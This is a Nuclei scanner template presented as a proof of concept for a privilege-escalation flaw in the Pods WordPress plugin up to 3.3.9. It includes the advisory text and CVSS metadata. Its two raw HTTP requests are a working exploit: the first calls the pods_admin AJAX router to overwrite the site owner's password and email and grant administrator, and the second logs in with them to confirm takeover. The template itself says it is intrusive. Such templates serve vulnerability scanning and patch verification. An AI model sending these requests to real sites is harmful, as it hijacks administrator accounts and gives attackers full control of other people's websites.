The Pods – Custom Content Types and Fields plugin for WordPress is vulnerable to Privilege Escalation via Authorization Bypass in all versions up to, and including, 3.3.9. The vulnerability exists because the pods_admin AJAX router funnels every access check — including the method allowlist, nonce verification, login enforcement, and capability gate — through pods_error(), which under the JSON meta-box-loader compatibility path only writes failures to the PHP error log and returns false instead of terminating the request, rendering all guards ineffective. This makes it possible for unauthenticated attackers to escalate their privileges to Administrator or overwrite the password of any user account, including the site owner's, enabling complete site takeover, or perform another administrator action.
PoC
id: CVE-2026-19598
info:
name: Pods <= 3.3.9 - Unauthenticated Privilege Escalation via pods_admin AJAX Router
author: DhiyaneshDk
severity: critical
description: |
The Pods – Custom Content Types and Fields plugin for WordPress is vulnerable to Privilege Escalation via Authorization Bypass in all versions up to, and including, 3.3.9. The vulnerability exists because the pods_admin AJAX router funnels every access check — including the method allowlist, nonce verification, login enforcement, and capability gate — through pods_error(), which under the JSON meta-box-loader compatibility path only writes failures to the PHP error log and returns false instead of terminating the request, rendering all guards ineffective. This makes it possible for unauthenticated attackers to escalate their privileges to Administrator or overwrite the password of any user account, including the site owner's, enabling complete site takeover, or perform another administrator action.
impact: |
Unauthenticated attackers can escalate to administrator or overwrite any user password, enabling full site takeover.
remediation: |
Update to the latest version beyond 3.3.9.
reference:
- https://www.wordfence.com/blog/2026/08/100000-wordpress-sites-affected-by-privilege-escalation-vulnerability-in-pods-wordpress-plugin/
- https://nvd.nist.gov/vuln/detail/CVE-2026-19598
- https://pods.io/2026/08/14/pods-3-3-9-1-security-release-and-backported-releases/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-19598
cwe-id: CWE-863
epss-score: 0.02791
epss-percentile: 0.85707
metadata:
max-request: 2
verified: true
product: pods
vendor: podsfoundation
tags: cve,cve2026,wordpress,wp-plugin,pods,privesc,unauth,intrusive,vkev
variables:
passwd: "{{to_lower(rand_text_alpha(12))}}"
email: "{{to_lower(rand_text_alpha(8))}}@pods.nuclei"
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-admin/admin-ajax.php?meta-box-loader=1 HTTP/1.1
Host: {{Hostname}}
Accept: application/json
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
action=pods_admin&method=save_user&ID=1&user_pass={{passwd}}&user_email={{email}}&role=administrator
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "content_length <= 3"
- "contains(body, '1')"
condition: and
internal: true
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{email}}&pwd={{passwd}}&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1
matchers:
- type: dsl
dsl:
- "contains(to_lower(header), 'wordpress_logged_in')"
# digest: 490a0046304402204114335615457a3677dd185b20417c98b4cd6c415d605ab2e62fbc91a017e434022023c771c8865dcc25fbbb767f0fe123d118f12483ec75706d08d1b7acfe5d8d01:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.